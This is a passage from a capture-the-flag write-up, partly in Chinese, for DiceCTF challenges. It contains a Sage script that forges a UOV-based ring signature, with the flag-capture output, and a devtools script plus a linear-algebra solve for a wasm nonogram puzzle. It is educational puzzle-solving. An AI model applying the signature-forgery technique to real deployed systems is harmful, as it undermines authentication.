p'(x,y)=p(x+y)-p(x)-p(y)
is linear in x and y

and we want to find p(x)+p(y)=t

fix x+y=a
p(x)+p(a+x)=p'(x,a+x)+p(a)
		   =lin+const=affine!!!
"""

out_dim = uov.m_sz * 8
inp_dim = uov.n_sz * 8


def b2v(x):
	return vector(GF(2), Bin(x, n=out_dim).list)


def v2b(x):
	return Bin(list(x)).bytes


tgt = uov.shake256(MESSAGE, uov.m_sz)


pk = directory["oberon"]
a = secrets.token_bytes(uov.n_sz)
pa = uov.pubmap(a, pk)
xs = []
vs = []
for _ in trange(inp_dim + 5):
	x = secrets.token_bytes(uov.n_sz)
	xs.append(x)
	y = strxor(x, a)
	o = polar_pub(x, y, pk)
	vs.append(b2v(o))
M = matrix(vs)
X = matrix([b2v(x) for x in xs])

affine = X.solve_right(M)
for _ in range(5):
	x = secrets.token_bytes(uov.n_sz)
	y = strxor(x, a)
	o = polar_pub(x, y, pk)
	assert b2v(x) * affine == b2v(o)
sol = affine.solve_left(b2v(tgt) - b2v(pa))
sx = v2b(sol)
sy = strxor(sx, a)
assert strxor(uov.pubmap(sx, pk), uov.pubmap(sy, pk)) == tgt

pks = [directory["oberon"]] * 2
ring = Ring(pks)
sig = sx + sy
ring.verify(sig, MESSAGE)
print(sig.hex())

"""
> nc dicec.tf 31003
=== FAIRIES ===
- oberon
- titania
- puck
- gloriana
- aibell
- sebile
===============
ring size: 2
name 1: oberon
name 2: oberon
ring signature (hex): 5c6cfcb6ebd88837d240f25cc493d7d4215487d359b1f6c8fd809d030930fb3e93286c1080150ff98c445f4c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800a08e48f45204662270ef7c42ebfd5bde6edeaeb0337abcae85fa1caf281a3f7d73fb85f26619a23ca8ceb4c763b47406b57955b2abb4c251515e4d558991d013f138b3eb112224f1b1372b1290157b14a6a1082ed3fa365fed962e3f729b9c156e2e72fc24ce0c929c6969d5e71a0
dice{fr1ed_ch4ng3lin9_dumpl1ng5}
"""

rev

nonograms

nonogram

這題是個網頁上的 wasm reverse 題，給了一個 UI 介面顯示 25x25 的 grid，可透過點擊切換黑白。然後右側和下側有顯示個 row 與 column 目前值 (紅色) 和目標值 (黑色)，目標是要使目前值和目標值相同。另外根據題目簡介，解答的圖片會是個 QR code。

簡單觀察一下可發現改變任意一個 cell 給目前值造成的改變都是線性的 (linear in $\mathbb{F}_2$ )，所以這個問題也就只是解個線性系統的問題。所以要先找個方法把每個 cell 改變的值給紀錄下來。

先在 devtools 透過 log point 幫我把相關的 function/object 抓出來:

nonogram extract data devtool

然後在 devtool 跑以下 js 幫我去抓出每個 cell 的變化量:

;[g, u, p, y] = vs
const toggle = (a, b) => [g.toggle_cell(a, b), u(), p(), y(), g.win()].pop()

function collect() {
	const rs = rows.textContent
		.split('\n')
		.map(s => s.trim().match(/[0-9a-f]{4}/g))
		.filter(Boolean)
	const cs = cols.textContent
		.split(' ')
		.map(s => s.trim().match(/[0-9a-f]{4}/g))
		.filter(Boolean)
	const tgt = rs
		.map(r => r[0])
		.concat(cs.map(c => c[0]))
		.join('')
	const cur = rs
		.map(r => r[1])
		.concat(cs.map(c => c[1]))
		.join('')
	return { cur, tgt }
}

const data = []
for (let r = 0; r < 25; r++) {
	for (let c = 0; c < 25; c++) {
		toggle(r, c)
		data.push(collect().cur)
		toggle(r, c)
	}
}
copy(JSON.stringify(data))

之後寫個 sage script 去解即可，不過會遇到的問題是它那個矩陣 rank 不夠，所以可以找到一堆解可使得目前值和目標值相同，但掃不出 QR code 的情況，例如:

nonogram bad solution

所以需要利用題目說它是 QR code 的這個條件，想辦法把 QR code 的定位點也作為 constraint 加入。因為 QR code version 2 正好是 25x25，所以很容易知道哪些 cell 是 0 和 1，全部加入之後它的矩陣 rank 正好就足夠了，所以可以得到唯一解:

nonogram good solution

掃出來是 dice{piCRCr0s5!<:P}，而我用的 sage 腳本如下:

from sage.all import *
import json

with open("data.json") as f:
	data = json.load(f)
init = "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
tgt = "6d5ce1f40e054c83801c9d09d0417680a05020247a619c87f32198e03698ef355c4886aa80c705bec22db6a4f609f01a501a464fc1a4c29a210ceaf5494ed041ad5158f255f01bbdfb91d0989af18384af304a105eaa955392abd4b73249d3beffc6a050"

ln = len(init) // 2 * 8


def tovec(x):
	n = int(x, 16)
	bs = f"{n:0{ln}b}"
	return vector(GF(2), list(map(int, bs)))


i0 = tovec(init)
mat = matrix([tovec(x) + i0 for x in data])
v = tovec(tgt) + i0
sol = mat.solve_left(v)
lk = mat.left_kernel_matrix()

force_ones = []
force_zeros = []
qr_centers = [
	(3, 3),
	(3, 21),
	(21, 3),
]
for r in range(25):
	for c in range(25):
		i = r * 25 + c
		for rr, cc in qr_centers:
			ar = abs(r - rr)
			ac = abs(c - cc)
			if ar <= 1 and ac <= 1:
				force_ones.append(i)
			elif max(ar, ac) == 3:
				force_ones.append(i)
			elif max(ar, ac) == 2:
				force_zeros.append(i)
bottom_right = (25 - 7, 25 - 7)
for r in range(25):
	for c in range(25):
		i = r * 25 + c
		rr, cc = bottom_right
		ar = abs(r - rr)
		ac = abs(c - cc)
		if ar == ac == 0:
			force_ones.append(i)
		elif max(ar, ac) == 2:
			force_ones.append(i)
assert len(force_ones) == (6 * 4 + 9) * 3 + (4 * 4 + 1)
assert len(force_zeros) == (4 * 4) * 3
all_forces = force_ones + force_zeros
one_vec = vector(GF(2), [0] * ln)
for i in force_ones:
	one_vec[i] = 1
one_vec = vector(GF(2), [one_vec[i] for i in all_forces])
sol_x = vector([sol[i] for i in all_forces])
lk_x = matrix.column([lk.column(i) for i in all_forces])
dt = lk_x.solve_left(sol_x - one_vec)
goodsol = dt * lk + sol

for r in range(25):
	for c in range(25):
		i = r * 25 + c
		if goodsol[i]:
			print(f"toggle({r}, {c})")

data.json 可在這邊下載。

web#

pyramid#

nobin#

*dicepass#

crypto#

vorpal-sword#

satisfied#

winxy-pistol#

fairy-ring#

rev#

nonograms#

web